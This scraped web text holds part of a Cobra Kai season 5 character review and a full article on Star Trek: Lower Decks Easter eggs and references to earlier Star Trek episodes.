What Johnny will never let go of, though, is his devotion to ’80s culture and all things “badass.” With his fixation on alpha-male nostalgia, Johnny is responsible for some of the season’s funniest moments. His attempts to join the gig economy are both hilarious and relatable, while an attempt to create a “Young Guns II”-themed escape room ends with Johnny locking himself in his own apartment. However, after five seasons, it seems that Johnny has finally found someone who loves “Rocky” as much as he does. A prospective tournament judge approves of the sensei’s unconventional training methods, even though he winds up covered in bits of exploded watermelon.

Daniel LaRusso

While season 6 of “Cobra Kai” seems like a given — to say nothing about the rumors regarding an entire “Cobra Kai” extended universe — the ending of season 5 could easily serve as a conclusion to the show as a whole. As the latest batch of episodes wrap up, the original “Karate Kid” hero, Daniel LaRusso, finally takes down the dojo that’s been torturing him for decades. In many ways, it’s the end of the arc that began way back in the 1984 film; if this actually does end up being the last we see of Daniel, it’ll be a fitting send-off.

A devotee of Mr. Miyagi’s peaceful philosophy, Daniel’s major challenge in season 5 is deciding when fighting back is necessary to protect those he loves. With Cobra Kai dojos spreading across the San Fernando Valley, Daniel worries not only for his own children, but for all the other teens desperately looking for guidance. If they fall into Silver’s hands, Daniel realizes, they will wind up repeating the toxic cycle that he’s tried so hard to break.

Daniel is understandably weary of constantly defending his beliefs, and it’s not until his friends and family rally around him that he finds the strength to keep going. This culminates in an epic showdown between LaRusso and Silver; in the end, Daniel not only exposes Silver for the cheater he is, but uses his own strategies against him. After five seasons and four decades’ worth of fighting the good fight, Daniel can finally rest, confident that the world knows the truth about Cobra Kai’s toxicity.

Chozen Toguchi

When Chozen Toguchi first made a cameo in “Cobra Kai” season 3, it was a touching return for fans of the underrated “The Karate Kid Part II.” As a young man obsessed with honor, he was once willing to fight Daniel to the death to preserve his reputation in his small Okinawan village. When he reappeared in “Cobra Kai,” it was nice to see that his life had moved in a positive direction, but it’s not until Chozen comes to California that we see his redemption play out in earnest.

Determined to help Daniel defeat Silver, Chozen forges a close relationship with the man he once threatened to kill. He is an intense warrior who not only powers some of the season’s best fight sequences, but some of its biggest laughs as well. He insists on maintaining his over-the-top vigilance at all times, carrying his twin sai everywhere he goes, and skinny dipping in the LaRusso’s pool every morning (for training purposes, of course).

Chozen’s earnest pleas of resilience to the cast of “90 Day Fiancé” are both hilarious and endearing, but his best moments occur when he bonds with Johnny over their similar histories with Daniel. Though the show is built around Daniel’s first nemesis, Chozen is a wonderful example of how it’s always possible to rebuild your life, no matter how far you believe you’ve fallen.

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]]> https://briefnews.eu/babylon-berlin-season-3-2020/feed/ 0 The 5 Best Easter Eggs And References In Star Trek: Lower Decks Season 3, Episode 3 https://briefnews.eu/the-5-best-easter-eggs-and-references-in-star-trek-lower-decks-season-3-episode-3/ https://briefnews.eu/the-5-best-easter-eggs-and-references-in-star-trek-lower-decks-season-3-episode-3/#respond Thu, 08 Sep 2022 14:15:15 +0000 https://briefnews.eu/the-5-best-easter-eggs-and-references-in-star-trek-lower-decks-season-3-episode-3/

In the third episode of the third season of “Star Trek: Lower Decks,” called “Mining the Mind’s Mines,” the crew of the U.S.S. Cerritos has been tasked with rescuing a team of geologists from a planet populated by silicon-based life forms called the Scrubble. Commander Ransom (Jerry O’Connell) bemoans the fact that Federation scientists often play fast-and-loose with safety, and it’s always Starfleet who has to come clean up their research missions when they go afoul. 

On the Scrubble planet, mysterious glowing crystal orbs read a victim’s thoughts, briefly manifest their deepest desires in the real world, and then turn their victims into statues. Throughout the episode, characters will have to come up with quick, embarrassed excuses when some of their deepest desires appear in front of their peers. Ensign Mariner (Tawney Newsome), for instance, can’t help but reveal that she’s developed feelings for her Andorian co-worker Jennifer. Ensign Boimler’s deepest desires involve his superior officer asking him to help out in an important mission; it’s kind of sad that even in fantasy, Boimler is never the one in charge. 

As is the mission statement of “Lower Decks,” “Mind’s Mines” is full of fun “Trek” references and clever Easter Eggs that an astute Trekkie will spot. Here are a few the keen eyes at /Film spotted.

Seductive, Mind-Reading, Shape-Shifting Alien Brain Parasites

If going by production order — which, Trekkies will tell you, is the only correct order in which to watch the original series — then “The Man Trap” is the show’s fifth episode. Broadcast order (feh) had it running first. Either way, a precedent was set early on “Star Trek,” and audiences would frequently see magical sci-fi creatures of devices that could read the minds of Starfleet officers and physically manifest their desires. In “The Man Trap” (September 8, 1966), Kirk (William Shatner) found an intruder on his ship in the form of a shapeshifting alien called simply the M-113 Creature. The creature is a leech monster who, as a defense mechanism, can appear differently to different people. 

In the episode “Shore Leave” (December 29, 1966), the crew of the Enterprise finds themselves on a planet that can read their thoughts and instantly construct robots based on whatever they’re thinking of. Kirk thinks of an old school rival. Sulu (George Takei) dreams of a handgun. Dr. McCoy (De Forest Kelley) dreams of the White Rabbit from “Alice in Wonderland.” 

In the “Star Trek: The Next Generation” episode “Where No One Has Gone Before” (October 26, 1987), the Enterprise is stranded in a distant part of the universe that, just as a natural phenomenon, manifested thoughts as reality, and Worf (Michael Dorn) created a beloved childhood pet. Picard (Patrick Stewart) had tea with his dead mother.

In the “Star Trek: Deep Space Nine” episode “If Wishes Were Horses” (May 17, 1993), the station crew finds figures like Rumpelstiltskin (Michael Anderson) wandering the station, as well as a hornier doppelgänger of Jadzia Dax (Terry Farrell). 

It seems that wishes do come true.

The U.S.S. Hood

Only glimpsed briefly, and only mentioned by name once, “Mining the Mind’s Mines” sees two California-class vessels coming to the aid of the U.S.S. Hood, an Excelsior-class vessel that is in charge of the mission. The Hood, Trekkies will know, has a storied off-to-the-side history throughout “Trek.” Most notably, the Hood was the first ship that Commander Riker (Jonathan Frakes) was assigned to early in his Starfleet career, serving under Captain Robert DeSoto (Michael Cavanaugh). Geordi LaForge (LeVar Burton) also once mentioned that he, too, served aboard the Hood at one point. 

The Hood would appear multiple times throughout “Next Generation,” probably because the show’s FX department only had so many models to go around, and the Hood was always a fun one to put next to the Enterprise. As such, the Hood was mentioned in the episodes “Tin Man,” “The Defector,” “Allegiance,” and was seen in larger fleets in battle-based episodes. The Hood would also get involved in scrapes with the Dominion during “Deep Space Nine,” and its name would be mentioned myriad times throughout. 

That the Hood is still in operation all these years later speaks to the tenacity of the ship. The Hood, incidentally, was named after Rear Admiral Sir Horace Lambert Alexander Hood, a World War I officer for the Royal Navy.

Dr. Leah Brahms

Ensign Rutherford (Eugene Cordero) is an engineer who loves machines and technical stuff, so it makes perfect sense that his ultimate fantasy should be an apparition of Dr. Leah Brahms.

First mentioned in the NextGen episode “Booby Trap” (October 30, 1989), Dr. Leah Brahms (Susan Gibney) was one of the designers who was instrumental in the design of the Enterprise-D. In “Booby Trap,” Geordi has to find a way to speed up power transfers on the ship in order to escape a millennia-old space snare that was draining power from all its systems. To better understand the ship, Geordi creates a holographic simulation of Brahms, and they develop a good rapport. Geordi ends up kind of developing a crush on the hologram, and the episode ends with a kiss. 

If that seems a little creepy — kissing a simulation of a real person — Geordi will be taken to task in “Galaxy’s Child” (March 11, 1991) wherein he will has an opportunity to meet the real Dr. Brahms. She discovers his lovey-dovey simulation and is horrified. Eventually, the two work together to solve a crisis, and Dr. Brahms has no hard feelings … as now she can go home to her husband. Geordi is left alone. In the series finale “All Good Things…” (May 23, 1994), an alternate future timeline reveals that Geordi and Dr. Brahms ended up getting married and having children of their own. 

Kukulkan

When the mind-reading crystal balls crack open, their powers are intensified, and they begin manifesting nightmares instead of dreams. Some of the creatures that appear are merely terrifying apparitions that anyone would be scared of: Klingon clowns with bat’leth arms, giant Borg snakes, etc. One of the manifestations is a red winged serpent that is namechecked as Kukulkan.

Kukulkan is a fun reference to a creature encountered in a “Star Trek: The Animated Series” episode “How Sharper Than a Serpent’s Tooth” (October 5, 1974) wherein the Enterprise finds an ancient Mayan city on a distant planet and awakens a legitimate Mayan god. Kukulkan announces that he once lived on Earth where he was worshiped. Now awakened, he plans on returning to get his old gig back. Kirk announces, in a daring notion for a kids’ show, that Earth has outgrown the need to worship; the planet, he explains, is now wholly atheist. Kirk thanks Kululkan for guiding Earth people through an early phase of development, but now is the time to kindly retire as a god. Kukulkan does. 

The Kukulkan seen in “Lower Decks” has nothing to say; it’s just a big scary flying monster. But his appearance is a fun nod. 

Silicon-Based Life Forms

The Scrubble are but the latest in a long series of “Star Trek” species that appear to be silicon based. Although the actual scientific possibility of silicon-based life seems to have been largely disproven, the possibility of a living rock is too tantalizing for the writers of sci-fi shows to give up. The two elements are right next to each other on the periodic table. As we all know, carbon and silicon can form ionic compounds by gaining four electrons, forming the carbide anion (C4-) and silicide anion (Si4-), but they more frequently form compounds through covalent bonding.

As such, mineral-based lifeforms crop up on “Trek” with frequency. In “Devil in the Dark” (March 9, 1967) Kirk and Spock (Leonard Nimoy) discover a rock monster called a horta that killed people to protect its eggs. In “The Savage Curtain” (March 7, 1969), Kirk and Spock are forced into hand-to-hand combat by an all-powerful, lava-like Excalbian. On NextGen, “Home Soil” (February 22, 1988) sees the discovery of sentient grains of sand, and “Silicon Avatar” (October 14, 1991) sees the second appearance of a creature simply called The Crystalline Entity. 

This is nothing to say of the multiple references throughout “Trek” to the Tholians, an antagonistic species made of crystal. The Scrubble are merely the latest in a long line of such species. 

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